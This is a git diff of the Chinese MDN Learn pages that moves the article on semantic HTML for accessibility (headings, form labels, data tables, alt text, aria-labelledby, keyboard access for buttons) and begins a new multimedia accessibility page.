注意:您可以在我们的 创建超链接 文章中找到更多关于链接实现和最佳实践的信息。 您还可以在 good-links.htmlbad-links.html 中看到一些好的和不好的例子。

+
+ +

表单标签也很重要,可以让您了解您需要输入每个表单输入的内容。 以下似乎是一个足够合理的例子:

+ +
Fill in your name: <input type="text" id="name" name="name">
+ +

但是,这对于残疾用户来说并不是那么有用。 在上面的示例中,没有任何内容将标签与表单输入明确关联。因此如果看不到它,请让用户明确该如何填写。 如果您使用某些屏幕阅读器访问该屏幕,则只能按照“编辑文本”(“edit text”)的方式给出说明。

+ +

以下是一个更好的例子:

+ +
<div>
+  <label for="name">Fill in your name:</label>
+  <input type="text" id="name" name="name">
+</div>
+ +

通过这样的代码,标签将清晰地与输入相关联;  描述将更像如下这种形式:“填写你的姓名:编辑文本”。

+ +

+ +

作为额外的好处,在大多数将标签与表单输入相关联的浏览器中,您可以单击标签来 选择/激活 表单元素。 这给输入一个更大的可选中区域,使其更容易选择。

+ +
+

注意:您可以在 good-form.htmlbad-form.html 中看到一些好的和不好的表单示例。

+
+ +

可访问的表格

+ +

基本的表格(译者注:“data table”被翻译成“表格”)可以用非常简单的标记来编写,例如:

+ +
<table>
+  <tr>
+    <td>Name</td>
+    <td>Age</td>
+    <td>Gender</td>
+  </tr>
+  <tr>
+    <td>Gabriel</td>
+    <td>13</td>
+    <td>Male</td>
+  </tr>
+  <tr>
+    <td>Elva</td>
+    <td>8</td>
+    <td>Female</td>
+  </tr>
+  <tr>
+    <td>Freida</td>
+    <td>5</td>
+    <td>Female</td>
+  </tr>
+</table>
+ +

但是这有问题 - 屏幕阅读器用户无法将行或列作为数据分组关联在一起。 要做到这一点,你需要知道标题行是什么,以及它们是否在行,列等标题上。这只能在上面的表中以可视化方式完成(参见 bad-table.html ,并自己尝试这个例子)。

+ +

现在看看我们的 punk bands table example  - 您可以在这里看到一些辅助工具(accessibility aids):

+ + + +
+

注意:有关可访问数据表的更多详细信息,请参阅我们的 HTML表格高级功能和可访问性 文章。

+
+ +

文本替代品

+ +

尽管文本内容本身是可访问的,但对于多媒体内容而言也不一定是这样 - 图像/视频内容不能被视觉障碍人士看到,并且听觉障碍人士不能听到音频内容。 稍后我们将在可访问多媒体文章中详细介绍视频和音频内容,但对于本文,我们将探讨低微(humble )的 {{htmlelement("img")}} 元素的可访问性。

+ +

我们编写了一个简单的例子, accessible-image.html ,它具有相同图像的四个副本:

+ +
<img src="dinosaur.png">
+
+<img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.">
+
+<img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."
+     title="The Mozilla red dinosaur">
+
+
+<img src="dinosaur.png" aria-labelledby="dino-label">
+
+<p id="dino-label">The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p>
+
+ +

第一张图片,当用屏幕阅读器查看时,并不真正为用户提供很多帮助 - 例如VoiceOver会读出 “/dinosaur.png,image” 。 它读出文件名以尝试提供一些帮助。 在这个例子中,用户至少知道它是某种恐龙,但通常文件可以用机器生成的文件名(例如来自数码相机)上传,这些文件名可能不会提供图像内容的信息。

+ +
+

注意:这就是为什么你不应该在图像中包含文本内容 - 屏幕阅读器根本无法访问它。 还有其他的缺点 - 你不能选择它并复制/粘贴它。不要这样做!

+
+ +

当屏幕阅读器遇到第二张图像时,它会读出完整的 alt 属性 - “红色霸王龙雷克斯:一只像人一样直立的双腿恐龙,手臂小,头部大而锋利。”

+ +

这突出了不仅在所谓的替代文本不可用的情况下使用有意义的文件名的重要性,而且还确保尽可能地在替换属性 alt 中提供替代文本。 请注意,alt 属性的内容应始终提供图像的直接表示以及它在视觉上传达的内容。 任何个人知识或额外描述都不应该包含在这里,因为它对以前没有碰到过这个图像的人没有用处。

+ +

需要考虑的一件事是,你的图片是否在你的内容中有意义,或者它们纯粹是为了视觉装饰,所以没有意义。 如果它们是装饰性的,最好将它们包含在页面中作为CSS背景图像。

+ +
+

注意:请阅读 HTML中的图片响应式图片 以获得更多关于图片实施和最佳做法的信息。

+
+ +

如果您确实想要提供额外的上下文信息,则应该将其放在图像周围的文本中,或放置在“标题” title 属性中,如上所示。 在这种情况下,大多数屏幕阅读器会读出替代文本,标题属性和文件名。 此外,鼠标滑过时,浏览器会将 title 的内容作为工具提示的形式显示出来。

+ + + + + +

+ +

我们再来看看第四种方法:

+ +
<img src="dinosaur.png" aria-labelledby="dino-label">
+
+<p id="dino-label">The Mozilla red Tyrannosaurus ... </p>
+ +

在这种情况下,我们不使用“alt”属性 —— 相反,我们已经将图像的描述作为常规文本段落给出,并给出它的“id”,然后使用 “aria-labelledby” 属性并链接到对应“id”,它使屏幕阅读器将该段落用作该图像的替代文本/标签。 如果您想将相同的文本用作多个图像的标签,这是特别有用的 - 这是使用“alt”不可能实现的。

+ +
+

注意:“aria-labelledby”是 WAI-ARIA 规范的一部分,它允许开发人员在其标记中添加额外的语义,以提高屏幕阅读器的可访问性。 要了解更多关于它是如何工作的,请阅读我们的 WAI-ARIA Basics 文章。

+
+ + + +

其他文字替代机制

+ +

图像还有其他机制可用于提供描述性文字。 例如,有一个 longdesc 属性用于指向包含图像的扩展描述的单独Web文档,例如:

+ +
<img src="dinosaur.png" longdesc="dino-info.html">
+ +

这听起来像个好主意,尤其是对于像大图表这样的信息图,其中有很多信息可能可以表示为可访问的数据表(请参阅上一部分)。 但是,屏幕阅读器不支持longdesc,非屏幕阅读器用户完全无法访问内容。 将长描述包含在与图像相同的页面中,或者通过常规链接链接到它可能会更好。

+ +

HTML5包含两个新元素 -  {{htmlelement("figure")}}{{htmlelement("figcaption")}} ,它们应该将某种形象(可以是任何东西,不一定是图像)与数字标题相关联:

+ +
<figure>
+  <img src="dinosaur.png" alt="The Mozilla Tyrannosaurus">
+  <figcaption>A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</figcaption>
+</figure>
+ +

不幸的是,大多数屏幕阅读器似乎并没有将图形标题与他们的图形相关联,但是元素结构对CSS样式非常有用,并且它提供了一种方法在源代码中将图像放置在旁边。

+ +

空alt属性

+ +
<h3>
+  <img src="article-icon.png" alt="">
+  Tyrannosaurus Rex: the king of the dinosaurs
+</h3>
+ +

可能有时候图像被包含在页面的设计中,但其主要目的是用于视觉装饰。 在上面的代码示例中,您会注意到图像的“alt”属性为空 - 这是为了让屏幕阅读器识别图像,但不试图描述图像(阅读器只是说 “图像” 等类似的语句)。

+ +

使用空白“alt”而不包含它的原因是因为如果没有提供“alt”,许多屏幕阅读器会公布整个图像URL。 在上面的示例中,图像充当与其关联的标题的视觉装饰。 在这种情况下,以及在图像只是装饰并且没有内容值的情况下,您应该在图像上放置一个空白的“alt”。 另一种选择是使用 aria role 属性 role =“presentation” - 这也会阻止屏幕阅读器读出替代文本。

+ +
+

注意:如果可能的话,你应该使用CSS来显示只有装饰的图像。

+
+ +

总结Summary

+ +

您现在应该精通编写大多数场合可访问的HTML。 我们的 WAI-ARIA 基础知识文章也将填补这些知识中的一些空白,但本文已经关注了此基础知识。 接下来,我们将探索 CSS 和 JavaScript ,以及可访问性如何受其好坏影响。

+ + + +

{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}

+ + + +

在此模块

+ + diff --git "a/files/zh-cn/learn/accessibility/html_colon_\344\270\272\345\217\257\350\256\277\351\227\256\346\200\247\346\217\220\344\276\233\344\270\200\344\270\252\350\211\257\345\245\275\347\232\204\345\237\272\347\241\200/index.html" "b/files/zh-cn/learn/accessibility/html_colon_\344\270\272\345\217\257\350\256\277\351\227\256\346\200\247\346\217\220\344\276\233\344\270\200\344\270\252\350\211\257\345\245\275\347\232\204\345\237\272\347\241\200/index.html" deleted file mode 100644 index beeb753338..0000000000 --- "a/files/zh-cn/learn/accessibility/html_colon_\344\270\272\345\217\257\350\256\277\351\227\256\346\200\247\346\217\220\344\276\233\344\270\200\344\270\252\350\211\257\345\245\275\347\232\204\345\237\272\347\241\200/index.html" +++ /dev/null @@ -1,542 +0,0 @@ ---- -title: 'HTML: 为可访问性提供一个良好的基础' -slug: 'learn/Accessibility/HTML:为可访问性提供一个良好的基础' -translation_of: Learn/Accessibility/HTML ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}
- -

在网页开发的过程中,用正确的HTML标签来表达正确的意图,可以提升网页的可访问性。这篇文章将会详细介绍如何最大化地提升网页的可访问性。

- - - - - - - - - - - - -
前提:有一定的HTML基础(可参阅 HTML入门),理解什么是可访问性
目标:了解可访问性为网页带来的好处和如何在网页中进行实现。
- -

HTML 和可访问性

- -

在学习HTML的过程当中,经常可以看到这样一个主题:HTML语义化的重要性。意思是指我们应尽可能地用正确的HTML标签来表达正确的意图。

- -

你可能在想,为什么语义化对于一个网页来说如此重要。总的来说,正确的语义化可使 CSS 和  JavaScript 更为便利地操作网页的样式和行为。例如,一个用来操作视频播放的按钮可以写成这样一种形式:

- -
<div>Play video</div>
- -

接下来你将看到一种更好的写法,它使用了正确的HTML标签,看上去更加合理:

- -
<button>Play video</button>
- -

<button>标签不仅提供了按钮的样式(虽然有时会重新编写样式),还提供了键盘的可访问性,如:使用tab键更换按钮,使用回车键点击按钮。

- -

如果你在项目的一开始就使用HTML语义化,不仅不会花更多的时间,而且又有以下的可访问性优点:

- -
    -
  1. 更便于开发 — 如上所述,你可以使HTML更易于理解,并且可以毫不费力的获得一些功能。
  2. -
  3. 更适配移动端 — 语义化的HTML文件比非语义化的HTML文件更加轻便,并且更易于响应式开发。
  4. -
  5. 更便于SEO优化 — 比起使用非语义化的<div>标签,搜索引擎更加重视在“标题、链接等”里面的关键字,使用语义化可使网页更容易被用户搜索到。
  6. -
- -

让我们来继续学习HTML语义化实现细则。

- -
-

注意:在本地计算机上设置屏幕阅读器是一个不错的主意,因此您可以对下面显示的示例进行一些测试。更多内容请查阅 Screenreaders guide

-
- -

良好的语义

- -

上面我们讨论了语义化的重要性以及为什么我们要使用正确的HTML标签来表达正确的意图。语义化是我们不可忽视的一部分,因为它往往决定了网页的可访问性。

- -

在网络上,事实上人们用HTML标签做一些非常奇怪的事情。人们滥用一些即将废弃或已经废弃的标签。不管在什么情况下,我们都应该将这些错误的代码改正过来。

- -

话虽如此,但是有些情况我们往往不能摆脱错误的标签,例如一个网页是从服务端的框架生成的,或者网页上存在第三方的内容(如广告),这些都是我们所不能控制的。

- -

我们的目标并不是“全有或全无”,实际上,你所做的每一个改进都可以提升网页的可访问性。

- -

文本内容

- -

对于屏幕阅读器用户来讲,最佳辅助功能之一是拥有标题,段落,列表等内容的良好结构。一个好的语义示例可能如下所示:

- -
<h1>My heading</h1>
-
-<p>This is the first section of my document.</p>
-
-<p>I'll add another paragraph here too.</p>
-
-<ol>
-  <li>Here is</li>
-  <li>a list for</li>
-  <li>you to read</li>
-</ol>
-
-<h2>My subheading</h2>
-
-<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
-
-<h2>My 2nd subheading</h2>
-
-<p>This is the second subsection of my content. I think is more interesting than the last one.</p>
- -

我们已经准备了一个更长的文本版本,供您试用于屏幕阅读器(请查看 good-semantics.html)。如果您尝试在此过程中导航,您将看到这非常容易导航:

- -
    -
  1. 屏幕阅读器会在您浏览内容时读取每个标题,通知您标题是什么,段落是什么等。
  2. -
  3. 它在每个元素之后停止,让你以任何适合你的速度前进。
  4. -
  5. 你可以在许多屏幕阅读器中跳到下一个/上一个标题。
  6. -
  7. 你还可以在许多屏幕阅读器中显示所有标题的列表,使您可以像使用便利的目录一样使用它们以查找特定内容。
  8. -
- -

人们有时会使用表现性 HTML 和换行符来编写标题,段落等,如下所示:

- -
<font size="7">My heading</font>
-<br><br>
-This is the first section of my document.
-<br><br>
-I'll add another paragraph here too.
-<br><br>
-1. Here is
-<br><br>
-2. a list for
-<br><br>
-3. you to read
-<br><br>
-<font size="5">My subheading</font>
-<br><br>
-This is the first subsection of my document. I'd love people to be able to find this content!
-<br><br>
-<font size="5">My 2nd subheading</font>
-<br><br>
-This is the second subsection of my content. I think is more interesting than the last one.
- -

如果你使用屏幕阅读器试用更长内容的版本(请查阅 bad-semantics.html),你不会有一个很好的经验 — 屏幕阅读器没有任何东西可以用作路标,所以你无法检索有用的目录,整个页面被看作一个巨大的块,所以它只是一次读出所有的内容。

- -

除了可访问性之外,还有其他一些问题 - 使用CSS设计内容的风格更难,或者使用JavaScript来操作它比较困难,因为没有可用作选择器的元素。

- -

使用通俗易懂的语言

- -

你使用的语言也会影响可访问性。一般来说,你应该使用不太复杂的清晰语言,不要使用不必要的行话或俚语。这不仅有利于有认知或其他残疾的人;它有利于那些没有用母语写作的读者,年轻人...事实上是每个人!除此之外,你应该尽量避免使用没有被屏幕阅读器清楚读出的语言和字符。例如:

- - - -

页面布局

- -

在旧时代,人们曾经使用HTML表格创建页面布局 - 使用不同的表格单元格来包含页眉,页脚,边栏,主要内容栏等。这不是一个好主意,因为屏幕阅读器可能会读出给人造成困惑的结果,特别是如果布局复杂,并且有许多嵌套表格的话。

- -

试试我们的例子table-layout.html,它看起来像这样:

- -
<table width="1200">
-      <!-- main heading row -->
-      <tr id="heading">
-        <td colspan="6">
-
-          <h1 align="center">Header</h1>
-
-        </td>
-      </tr>
-      <!-- nav menu row  -->
-      <tr id="nav" bgcolor="#ffffff">
-        <td width="200">
-          <a href="#" align="center">Home</a>
-        </td>
-        <td width="200">
-          <a href="#" align="center">Our team</a>
-        </td>
-        <td width="200">
-          <a href="#" align="center">Projects</a>
-        </td>
-        <td width="200">
-          <a href="#" align="center">Contact</a>
-        </td>
-        <td width="300">
-          <form width="300">
-            <input type="search" name="q" placeholder="Search query" width="300">
-          </form>
-        </td>
-        <td width="100">
-          <button width="100">Go!</button>
-        </td>
-      </tr>
-      <!-- spacer row -->
-      <tr id="spacer" height="10">
-        <td>
-
-        </td>
-      </tr>
-      <!-- main content and aside row -->
-      <tr id="main">
-        <td id="content" colspan="4" bgcolor="#ffffff">
-
-          <!-- main content goes here -->
-        </td>
-        <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top">
-          <h2>Related</h2>
-
-          <!-- aside content goes here -->
-
-        </td>
-      </tr>
-      <!-- spacer row -->
-      <tr id="spacer" height="10">
-        <td>
-
-        </td>
-      </tr>
-      <!-- footer row -->
-      <tr id="footer" bgcolor="#ffffff">
-        <td colspan="6">
-          <p>©Copyright 2050 by nobody. All rights reversed.</p>
-        </td>
-      </tr>
-    </table>
- -

如果您尝试使用屏幕阅读器浏览此内容,它可能会告诉您需要查看一个表格(尽管某些屏幕阅读器可以猜测表格布局和数据表格之间的区别)。 然后,您可能(取决于您使用的屏幕阅读器)必须需要进入到表格对象中,并单独地查看表格的内容,然后再次离开表格,以继续浏览其他内容。

- -

用表格布局网页是过去旧时代的遗迹 - 在“CSS”在浏览器中并不普遍被支持时,它们是有意义的,但是它们会为屏幕阅读器用户造成混淆,并且由于许多其他原因变得很糟糕(滥用表格,可能因此需要更多的标记, 使设计更不灵活)。不要这样做!

- -

您可以通过将您之前的体验与 更现代的网站结构示例 进行比较,来验证这些声明,该示例如下所示:

- -
<header>
-  <h1>Header</h1>
-</header>
-
-<nav>
-  <!-- main navigation in here -->
-</nav>
-
-<!-- Here is our page's main content -->
-<main>
-
-  <!-- It contains an article -->
-  <article>
-    <h2>Article heading</h2>
-
-    <!-- article content in here -->
-  </article>
-
-  <aside>
-    <h2>Related</h2>
-
-    <!-- aside content in here -->
-  </aside>
-
-</main>
-
-<!-- And here is our main footer that is used across all the pages of our website -->
-
-<footer>
-  <!-- footer content in here -->
-</footer>
- - - -

如果您使用屏幕阅读器阅读更现代的结构示例,则会看到布局标记不再会妨碍内容的读取。 它在代码大小方面也更加精简和小巧,这意味着代码更容易维护,并且用户下载的带宽更少(特别适合慢速连接的用户)。

- -

创建布局时的另一个考虑因素是使用HTML5语义元素,如上例所示(请参阅 此内容部分) - 您只能使用嵌套的 {{htmlelement("div")}} 元素创建布局,但最好使用适当的分段元素包裹您的主导航({{htmlelement("nav")}}),footer ({{htmlelement("footer")}}),重复内容单元  ({{htmlelement("article")}}) 等 。这些为屏幕阅读器(和其他工具)提供额外的语义,为用户提供有关他们正在浏览的内容的额外信息(请参阅 屏幕阅读器支持的新的HTML5章节元素 ,了解屏幕阅读器的支持是什么样的原理)。

- -
-

注意:除了您的内容具有良好的语义和有吸引力的布局之外,它的源代码顺序应该是合理的 - 您可以随时将它放在您想要使用CSS的位置,但是您应该先从源代码开始, 如此这样,屏幕阅读器读取给他们的内容将会非常便于理解。

-
- -

UI 控制

- -

通过UI控件,我们指的是与用户交互的Web文档的主要部分 - 通常是按钮,链接和表单控件。 在本节中,我们将介绍创建此类控件时要注意的基本可访问性问题。 稍后关于WAI-ARIA和多媒体的文章将着眼于UI可访问性的其他方面。

- -

UI控件可访问性的一个关键方面是,默认情况下,浏览器允许用户通过键盘操作它们。 您可以使用我们的 native-keyboard-accessibility.html 示例(请参阅 源代码 )。尝试此操作 - 在新选项卡中打开此项,然后尝试按Tab键; 几次按下后,您应该看到标签焦点开始移动到不同的元素; 在每个浏览器中,获得焦点元素都会有一个“突出显示“的默认样式(它在不同浏览器之间略有不同),以便您可以确定当前哪些元素获得焦点。

- -

- -

接着你可以按Enter / Return来追踪当前获得焦点的链接,或者按按钮来实现(我们已经使用JavaScript使按钮同时显示提示消息),或者开始在文本输入中输入文本(其他表单元素具有不同的控件, 例如 {{htmlelement("select")}} 元素拥有自己的显示选项, 可以使用向上和向下箭头键进行循环)。

- -
-

注意:不同的浏览器可能有不同的键盘控制选项。 请参阅 使用本机键盘辅助功能 获取更多详细信

-
- -

实际上,您只需使用适当的元素即可免费获得此功能,例如,

- -
<h1>Links</h1>
-
-<p>This is a link to <a href="https://www.mozilla.org">Mozilla</a>.</p>
-
-<p>Another link, to the <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p>
-
-<h2>Buttons</h2>
-
-<p>
-  <button data-message="This is from the first button">Click me!</button>
-  <button data-message="This is from the second button">Click me too!</button>
-  <button data-message="This is from the third button">And me!</button>
-</p>
-
-<h2>Form</h2>
-
-<form>
-  <div>
-    <label for="name">Fill in your name:</label>
-    <input type="text" id="name" name="name">
-  </div>
-  <div>
-    <label for="age">Enter your age:</label>
-    <input type="text" id="age" name="age">
-  </div>
-  <div>
-    <label for="mood">Choose your mood:</label>
-    <select id="mood" name="mood">
-      <option>Happy</option>
-      <option>Sad</option>
-      <option>Angry</option>
-      <option>Worried</option>
-    </select>
-  </div>
-</form>
- - - -

这意味着适当地使用链接,按钮,表单元素和标签(包括表单控件的 {{htmlelement("label")}} 元素)。

- -

然而,人们有时候会用HTML做奇怪的事情。 例如,您有时会看到使用 {{htmlelement("div")}} 标记的按钮,例如:

- -
<div data-message="This is from the first button">Click me!</div>
-<div data-message="This is from the second button">Click me too!</div>
-<div data-message="This is from the third button">And me!</div>
- -

但是不建议使用这样的代码 - 你会立即失去本机键盘的可访问性。但如果你使用了{{htmlelement("button")}} 元素,你将可以通过键盘控制。 此外你也将不会获得任何的按钮默认拥有的CSS样式。

- -

重新建立键盘的可访问性

- -

重新添加这些优点需要一些工作(您可以在我们的 fake-div-buttons.html 示例中使用示例代码 - 另请参阅 源代码 )。 在这里,我们通过赋予每个 <div> 按钮属性tabindex =“0” 来使它能够被聚焦(包括通过选项卡):

- -
<div data-message="This is from the first button" tabindex="0">Click me!</div>
-<div data-message="This is from the second button" tabindex="0">Click me too!</div>
-<div data-message="This is from the third button" tabindex="0">And me!</div>
- -

基本上,{{htmlattrxref("tabindex")}} 属性主要用于允许 tabbable 元素具有自定义Tab键顺序(以正数顺序指定),而不是仅按其默认源顺序进行标记。 这几乎总是一个糟糕的主意,因为它可能会造成重大混乱。 例如,如果布局以与源代码非常不同的视觉顺序显示事物,而且你想让事情更符合逻辑。 这里 tabindex 有另外两个选项:

- - - -

虽然上面的添加允许我们用 tab 选择按钮,但它不允许我们通过 Enter / Return 键来激活它们。 要做到这一点,我们必须添加下面的 JS 小绝招(JavaScript trickery):

- -
document.onkeydown = function(e) {
-  if(e.keyCode === 13) { // The Enter/Return key
-    document.activeElement.onclick(e);
-  }
-};
- -

在这里,我们向文档对象 document 添加一个侦听器,以检测什么时候键盘上按下按钮 我们通过事件对象 event objectkeyCode 属性,检查用户按下了哪个按钮; 如果它是与 Return / Enter 匹配的关键代码,我们通过按钮的 onclick 函数,即 document.activeElement.onclick()activeElement 提供给我们页面当前被focused的元素。

- -

我们使用document.activeElement.onclick()运行存储在按钮的onclick处理函数中的函数。 activeElement 为我们提供了当前关注页面的元素。

- -
-

注意:您应该记住,只有通过事件处理程序属性(例如onclick)设置原始事件处理程序,此技巧才会起作用。 addEventListener 将不起作用。

-
- -

这对于重新构建功能而言是一个额外的麻烦。而且这肯定会带来其他问题。 使用正确的元素处理正确的工作是非常重要的。(Better to just use the right element for the right job in the first place.

- -

有意义的文字标签

- -

用户界面控件的 文本标签 对所有用户都非常有用,但是对于残疾用户来说,让他们正确使用尤其重要。

- -

你应该确保你的按钮和链接文本标签是可以理解和独特的。 不要使用“点击这里”("Click here")此类的标签,因为屏幕阅读器用户有时会列出按钮和表格控件列表。 以下屏幕截图显示了我们的控件在Mac上由 VoiceOver 列出。

- -

- -

确保您的标签在上下文中有意义,可以单独阅读,也可以在他们所在的段落的上下文中进行阅读。例如,下面显示了良好链接文本的示例:

- -
<p>Whales are really awesome creatures. <a href="whales.html">Find out more about whales</a>.</p>
- -

但这是不好的链接文字:

- -
<p>Whales are really awesome creatures. To find more out about whales, <a href="whales.html">click here</a>.</p>
- -
-

注意:您可以在我们的 创建超链接 文章中找到更多关于链接实现和最佳实践的信息。 您还可以在 good-links.htmlbad-links.html 中看到一些好的和不好的例子。

-
- -

表单标签也很重要,可以让您了解您需要输入每个表单输入的内容。 以下似乎是一个足够合理的例子:

- -
Fill in your name: <input type="text" id="name" name="name">
- -

但是,这对于残疾用户来说并不是那么有用。 在上面的示例中,没有任何内容将标签与表单输入明确关联。因此如果看不到它,请让用户明确该如何填写。 如果您使用某些屏幕阅读器访问该屏幕,则只能按照“编辑文本”(“edit text”)的方式给出说明。

- -

以下是一个更好的例子:

- -
<div>
-  <label for="name">Fill in your name:</label>
-  <input type="text" id="name" name="name">
-</div>
- -

通过这样的代码,标签将清晰地与输入相关联;  描述将更像如下这种形式:“填写你的姓名:编辑文本”。

- -

- -

作为额外的好处,在大多数将标签与表单输入相关联的浏览器中,您可以单击标签来 选择/激活 表单元素。 这给输入一个更大的可选中区域,使其更容易选择。

- -
-

注意:您可以在 good-form.htmlbad-form.html 中看到一些好的和不好的表单示例。

-
- -

可访问的表格

- -

基本的表格(译者注:“data table”被翻译成“表格”)可以用非常简单的标记来编写,例如:

- -
<table>
-  <tr>
-    <td>Name</td>
-    <td>Age</td>
-    <td>Gender</td>
-  </tr>
-  <tr>
-    <td>Gabriel</td>
-    <td>13</td>
-    <td>Male</td>
-  </tr>
-  <tr>
-    <td>Elva</td>
-    <td>8</td>
-    <td>Female</td>
-  </tr>
-  <tr>
-    <td>Freida</td>
-    <td>5</td>
-    <td>Female</td>
-  </tr>
-</table>
- -

但是这有问题 - 屏幕阅读器用户无法将行或列作为数据分组关联在一起。 要做到这一点,你需要知道标题行是什么,以及它们是否在行,列等标题上。这只能在上面的表中以可视化方式完成(参见 bad-table.html ,并自己尝试这个例子)。

- -

现在看看我们的 punk bands table example  - 您可以在这里看到一些辅助工具(accessibility aids):

- - - -
-

注意:有关可访问数据表的更多详细信息,请参阅我们的 HTML表格高级功能和可访问性 文章。

-
- -

文本替代品

- -

尽管文本内容本身是可访问的,但对于多媒体内容而言也不一定是这样 - 图像/视频内容不能被视觉障碍人士看到,并且听觉障碍人士不能听到音频内容。 稍后我们将在可访问多媒体文章中详细介绍视频和音频内容,但对于本文,我们将探讨低微(humble )的 {{htmlelement("img")}} 元素的可访问性。

- -

我们编写了一个简单的例子, accessible-image.html ,它具有相同图像的四个副本:

- -
<img src="dinosaur.png">
-
-<img src="dinosaur.png"
-     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.">
-
-<img src="dinosaur.png"
-     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."
-     title="The Mozilla red dinosaur">
-
-
-<img src="dinosaur.png" aria-labelledby="dino-label">
-
-<p id="dino-label">The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p>
-
- -

第一张图片,当用屏幕阅读器查看时,并不真正为用户提供很多帮助 - 例如VoiceOver会读出 “/dinosaur.png,image” 。 它读出文件名以尝试提供一些帮助。 在这个例子中,用户至少知道它是某种恐龙,但通常文件可以用机器生成的文件名(例如来自数码相机)上传,这些文件名可能不会提供图像内容的信息。

- -
-

注意:这就是为什么你不应该在图像中包含文本内容 - 屏幕阅读器根本无法访问它。 还有其他的缺点 - 你不能选择它并复制/粘贴它。不要这样做!

-
- -

当屏幕阅读器遇到第二张图像时,它会读出完整的 alt 属性 - “红色霸王龙雷克斯:一只像人一样直立的双腿恐龙,手臂小,头部大而锋利。”

- -

这突出了不仅在所谓的替代文本不可用的情况下使用有意义的文件名的重要性,而且还确保尽可能地在替换属性 alt 中提供替代文本。 请注意,alt 属性的内容应始终提供图像的直接表示以及它在视觉上传达的内容。 任何个人知识或额外描述都不应该包含在这里,因为它对以前没有碰到过这个图像的人没有用处。

- -

需要考虑的一件事是,你的图片是否在你的内容中有意义,或者它们纯粹是为了视觉装饰,所以没有意义。 如果它们是装饰性的,最好将它们包含在页面中作为CSS背景图像。

- -
-

注意:请阅读 HTML中的图片响应式图片 以获得更多关于图片实施和最佳做法的信息。

-
- -

如果您确实想要提供额外的上下文信息,则应该将其放在图像周围的文本中,或放置在“标题” title 属性中,如上所示。 在这种情况下,大多数屏幕阅读器会读出替代文本,标题属性和文件名。 此外,鼠标滑过时,浏览器会将 title 的内容作为工具提示的形式显示出来。

- - - - - -

- -

我们再来看看第四种方法:

- -
<img src="dinosaur.png" aria-labelledby="dino-label">
-
-<p id="dino-label">The Mozilla red Tyrannosaurus ... </p>
- -

在这种情况下,我们不使用“alt”属性 —— 相反,我们已经将图像的描述作为常规文本段落给出,并给出它的“id”,然后使用 “aria-labelledby” 属性并链接到对应“id”,它使屏幕阅读器将该段落用作该图像的替代文本/标签。 如果您想将相同的文本用作多个图像的标签,这是特别有用的 - 这是使用“alt”不可能实现的。

- -
-

注意:“aria-labelledby”是 WAI-ARIA 规范的一部分,它允许开发人员在其标记中添加额外的语义,以提高屏幕阅读器的可访问性。 要了解更多关于它是如何工作的,请阅读我们的 WAI-ARIA Basics 文章。

-
- - - -

其他文字替代机制

- -

图像还有其他机制可用于提供描述性文字。 例如,有一个 longdesc 属性用于指向包含图像的扩展描述的单独Web文档,例如:

- -
<img src="dinosaur.png" longdesc="dino-info.html">
- -

这听起来像个好主意,尤其是对于像大图表这样的信息图,其中有很多信息可能可以表示为可访问的数据表(请参阅上一部分)。 但是,屏幕阅读器不支持longdesc,非屏幕阅读器用户完全无法访问内容。 将长描述包含在与图像相同的页面中,或者通过常规链接链接到它可能会更好。

- -

HTML5包含两个新元素 -  {{htmlelement("figure")}}{{htmlelement("figcaption")}} ,它们应该将某种形象(可以是任何东西,不一定是图像)与数字标题相关联:

- -
<figure>
-  <img src="dinosaur.png" alt="The Mozilla Tyrannosaurus">
-  <figcaption>A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</figcaption>
-</figure>
- -

不幸的是,大多数屏幕阅读器似乎并没有将图形标题与他们的图形相关联,但是元素结构对CSS样式非常有用,并且它提供了一种方法在源代码中将图像放置在旁边。

- -

空alt属性

- -
<h3>
-  <img src="article-icon.png" alt="">
-  Tyrannosaurus Rex: the king of the dinosaurs
-</h3>
- -

可能有时候图像被包含在页面的设计中,但其主要目的是用于视觉装饰。 在上面的代码示例中,您会注意到图像的“alt”属性为空 - 这是为了让屏幕阅读器识别图像,但不试图描述图像(阅读器只是说 “图像” 等类似的语句)。

- -

使用空白“alt”而不包含它的原因是因为如果没有提供“alt”,许多屏幕阅读器会公布整个图像URL。 在上面的示例中,图像充当与其关联的标题的视觉装饰。 在这种情况下,以及在图像只是装饰并且没有内容值的情况下,您应该在图像上放置一个空白的“alt”。 另一种选择是使用 aria role 属性 role =“presentation” - 这也会阻止屏幕阅读器读出替代文本。

- -
-

注意:如果可能的话,你应该使用CSS来显示只有装饰的图像。

-
- -

总结Summary

- -

您现在应该精通编写大多数场合可访问的HTML。 我们的 WAI-ARIA 基础知识文章也将填补这些知识中的一些空白,但本文已经关注了此基础知识。 接下来,我们将探索 CSS 和 JavaScript ,以及可访问性如何受其好坏影响。

- - - -

{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}

- - - -

在此模块

- - diff --git a/files/zh-cn/learn/accessibility/multimedia/index.html b/files/zh-cn/learn/accessibility/multimedia/index.html new file mode 100644 index 0000000000..660ebca836 --- /dev/null +++ b/files/zh-cn/learn/accessibility/multimedia/index.html @@ -0,0 +1,354 @@ +--- +title: 多媒体的可访问性(Accessible multimedia) +slug: learn/Accessibility/多媒体 +translation_of: Learn/Accessibility/Multimedia +--- +
{{LearnSidebar}}
+ +
